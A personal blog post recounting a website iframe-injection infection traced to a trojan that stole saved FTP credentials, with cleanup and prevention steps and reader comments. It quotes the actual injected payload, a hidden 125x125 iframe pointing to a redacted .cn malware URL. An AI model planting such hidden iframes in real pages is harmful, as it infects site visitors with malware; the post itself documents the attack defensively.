How to solve an iframe injection caused by Trojan malware
77What is <IFRAME>?
The <iframe> tag defines an inline frame that contains another document. We use <iframe> tag to include another document in inside website document.
For example, I use the following iframe code to insert Salesforce.com content syndicate inside my website. Please refer to the image below.
<iframe id="blockrandom"
name="iframe" src="http://probyte2u.com/salesforce.html"
width="100%"
height="1300"
scrolling="auto"
align="top"
frameborder="0"
class="wrapper">
This option will not work correctly. Unfortunately, your browser does not support inline frames.
</iframe>
Basically now you have some rough idea about <IFRAME> and it's usage !
Now what does IFRAME injection means ?
Iframe injections means attackers or hackers insert their iframe codes inside your website page. They use Trojan malware to do it.
Normally their will target your index.html, index.php, default.php or configuration.php page.
They will insert their codes inside your website, so when visitors visit your page they will download their malicious code inside your personal computer in order to replicate the process and also to retrieve financial and identification details of the visitor.
Their main purpose is for financial gain and some of them use it for their political purpose. They can also infect a lot of pc and use it to launch Distributed Denial of Service (DDoS) attack against their target.
From my own personal experience, I first encounter this problem when I tried to access my website and got the following error.
Parse error: syntax error, unexpected '/' in /home/+++++/public_html/index.php on line 85
So I checked in the index.php file and found the following code inserted inside the index.php file.
The iframe injection was not properly done, with additional "/" symbol at the start of the iframe injection as shown below, it was detected and the website coding does not download malicious code.
/
<iframe src="http://{URL HAS BEEN REMOVED}.cn:8080/ts/in.cgi?pepsi49" width=125 height=125 style="visibility: hidden"></iframe>
If the iframe injection was done properly, then all the visitors that visit the infected site will most probably get infected with malicious malware.
Sample of Mozilla Warning for Reported Attack Site shown below.
So what i did was that I removed the iframe injection from the infected file and upload the new files. Plus, I change ftp details for the website.
My site was safe for few days, unfortanely the same problem occurs after a while. I was suspucios how the hacker able to access my website.
So I checked with my hosting provider how my website was hacked.
Then only I knew that my personal computer was most probably infected by Trojan virus and the hacker has automated the whole process.
The Trojan virus managed to steal all my websites username and password that was saved in the file transfer protocal software that I used. All the websites that I used using the ftp software was infected with the iframe injection.
Luckily, I got back up files for my website that was not infected.
Since a lot of the files has been infected, I had no other choise but to restore the entire site using the backup file. I changed my ftp username and password.
To prevent the problem from recurring I install Kaspersky Internet Security and but the problem still happen back. (See my latest update below)
I still have not figure out the root cause, so the potential for it to happen back is there !
If your problem is not as serious as mine.
Then you could resolve the problem using the steps below.
How to eliminate this problem
Use Kapersky Antivirus paid version , update the pattern and scan your computer. Clean all infected files in your computer.
How to clean the infected php or html pages in my web site?
1. Refer to Google badaware notice like this
Approximately 6 files have been injected. You can search your index.php, index.html for the lines of codes.
You can also download copies of your public_html if the injected files are too many (zip the public_html or folder by folders. Uncompress the zip file on your desktop. Kapersky will notify you the injected files. Do not clean the files. Just save the log file so you can edit manually. Using this method, your page will not be destroyed or altered by Kapersky.
2. Change your FTP/Cpanel Login information. Avoid using the same password for web registration. Your FTP password should not be recycled. Some fake web sites would harvest this information and perform iframe injection over the web.
3. Sort your files by dates in FTP window. You can check the latest edited pages (or infection date) for injected codes.
4. You can revert to public_html backup – this method is not advisable and should be used as last resort if you could not find the infected pages. If your pages have been infected for more than a month, most probably your backup files also contain the injected codes.
5. Plus remember NOT to safe the username and password of your website inside your file transfer protocal software. From my own experience, the Trojan virus managed to steal the information from the ftp software.
Latest Update
They have injected my site again! (Happened in July 2009)
Problem started when I access my site to upload file to my site. Before that, there was no problem.
Look like I need to iron out the loop holes.
Managed two get my sites back !
I am not very sure, how they did it !
But, I have done some precautionary measure, to prevent it from happening back !
- I always back up my website content, even before there was any problem. I would recommend you to do so. If your files got infected, you can solve your problem very fast.
- Always change your cpanel / ftp password after you have uploaded your content to your site.
- Don't simply upload content via ftp. Because, my problem always start when I ftp the content.
- Don't keep your password and username in your ftp software.
- Always scan your PC with paid antivirus, to detect any virus.
- I am using Google Chrome incognito web browser, to access my cpanel and ftp. I am not this can solve it or not, let me check and see whether it works or not.
- Don't install lot of unnecessary plugins / modules / components in your content management system website, it takes a lot of effort to clean up. I am waiting for the latest update to clean up all the corrupted files.
- I asked Kaspesky Lab Support to analyze my personal computer details to check whether there is any virus still resides in my pc. Luckily they didn't found any trace of virus. Please refer to the link below for correspondence between me and Kaspersky Lab.
- Kaspersky Lab Technical Support Service to Help Detect Virus and Trojan
Still save till now, it's been more than 1 month after writing this article. Hopefully problem will not reoccur !
Interesting Articles
- What is Tissue Pack Marketing
I am familiar with marketing buzz terms such as guerrilla marketing & word of mouth marketing, but Tissue Pack Marketing just discovered today. Came across this new marketing buzz term today while searching... - Kaspersky Lab Technical Support Service to Help Detect Virus and Trojan
Got virus, trojan or worm problem. Sometimes we don't have the knowledge to solve the virus problem. However, if you are using Kaspersky products. You could easily get support from Kaspersky Lab... - simple steps to secure your Gmail
Do you know hackers can easily read your Gmail if you are using public wireless network to read your Gmail ! Plus, if you have sensitive data in your Gmail, then they can easily run havoc with your life. ... - Become A Mystery Shopper and Get Paid For Shopping?
Have you ever wondered whether there is a way to get paid for shopping? Become a Mystery Shopper with GAPbuster to enjoy free meals and petrol by doing some customer service reviews for some the world's... - How to prevent spam email? Learn from our website winners !
1st winner goes to Spamhaus.org ( http://www.spamhaus.org ) Spamhaus.org is a non – profit organization based in Geneva whose mission are as follows: To track Internet Spam Operation. To provide... - Free Software. Send large files to your friends and clients using YouSendIt.
Have you ever wondered how to send large files with file size of 6 MegaByte or even higher to send to your friends and clients without stuffing their mailbox. Solve your problem by using YouSendIt Lite... - Zemanta - Smart tool to improve your blogging experience
If you are looking for a tool that will spice up your blogging experience then you should use Zemanta.Click Here, to add in to your Mozilla Browser.Once, you have uploaded Zemanta. You focus on writing your... - History of Fort Cornwallis in Penang
The history of Penang is synoym with the history of Fort Cornwallis. Just after taking over Penang from Sultan of Kedah, Captain Sir Francis Light build the fort in 1786 using palm tree at the tip of cape... - Zoho CRM - Free Small Business CRM Software for 3 Users
Zoho CRM - Free CRM Solution for 3 Users Brief Introduction on CRM Customer relationship management (CRM) consists of the processes a company uses to track and organize its contacts with its current and... - Free Software. Send large files to your friends and clients using YouSendIt.
Have you ever wondered how to send large files with file size of 6 MegaByte or even higher to send to your friends and clients without stuffing their mailbox. Solve your problem by using YouSendIt Lite... - How to make money using Twitter
Twitter Mania ! If you still have not join the Twitter band wagon, then go to https://twitter.com/signup to sign up your twitter account. Just fill up the details in the form and you can start tweeting what... - Simple steps to get followers on Twitter
Simple steps to get followers on Twitter To get followers, you need to follow groups of people that you like. I started with people that I want to follow such as web designer, seo consultant, hotelier... - Get more traffic for your blog using blogreach
Hi Guys, Just found a widget developed by Blogreach.com that gets more traffic for your blog. You can easily install this script for your Wordpress / Blogger blog. How does it work ? You insert BlogReach... - Add hubpages widget in your website to get more traffic
If you are interested to get more traffic to your website, then just add in your hubpages widget in your website. Your hubpages link will be shown in your website and visitors can check your latest, hot or... - Which is more important? Short or long hubpages titles?
If you want your hubpages to be easily found in search engine, do you use short title or long title for your hubpages ? The answer is go for long title ! I give you and example, please type "iframe...
|
Norton Internet Security 2010 1-User/3PC
Price: $23.89
List Price: $69.99 |
|
|
McAfee Total Protection 3User 2010
Price: $26.49
List Price: $79.99 |
|
Norton 360 3.0 1-User/3Pc
Price: $32.49
List Price: $79.99 |
|
Kaspersky Internet Security 2010 3-User
Price: $20.99
List Price: $79.95 |
|
Norton Antivirus 2010 1-User/3PC
Price: $26.49
List Price: $59.99 |
PrintShare it! — Rate it: up down flag this hub
Thank you Dan your information and lead. You point out another way to resolve the problem.
Thank you Dan , I am facing the same problem also.
Thanks very uch for your history and help for those we suffer the same problem im now doing some points you describe and i hope this can help my site.
thnaks
Saving passwords usually has nothing to do with stealing. Trojan scans FTP connections and steal passwords from it. It does not matter if you saved it or typed in. Some trojans even log keyboard to steal typed passwords.
What you actually have to do is to find and remove trojan itself, which is hard to do.
HijackThis and Mallwarebyte's Anti-Mallware may help.
Hi Pedja, thank you for stopping by and for the comment.
But my infection, the trojan got the password from the ftp software which I use.
There were few sites which I have not access the sites for few month using the ftp software. I didn't initiate any ftp connections for the sites.
I kept the username and password of the sites in the ftp software.
And this variant manage to get the username and password from the ftp software and start injecting the iframe codes in into the sites.
The trojan writer really know the loopholes to do it. I must admit it was quite brilliantly done.
Once my pc got infected, I notice my Internet traffic and cpu usage are always high. This the first symptom of the infection.
Dave comments
"I have the same problems and have to sort it out now.
I have also read elsewhere that ftp passwords are not secure in ftp software so I won't be storing them in my ftp client anymore."
Hi Dave,
I have remove to your website link because your site got virus infection. My Kasperksy just alerted the problem.
Thanks your post.
The same issue for my websites.
If you’re on a VPS/dedicated hosting grab yourself a copy of Upload Guardian - http://www.serverprogress.com/upload_guardian.php It scans for iframe injections and other malicious tools hackers use to modify your pages. The scanning is done on file in real-time via FTP/PHP and will block the attacker at the firewall and can send email alerts.
Hi Steve, thanks for the information. Very useful solution for web hosting company.











Dan says:
4 months ago
URL below provides a solution to this trojan
http://www.qualitycodes.com/tutorial.php?articleid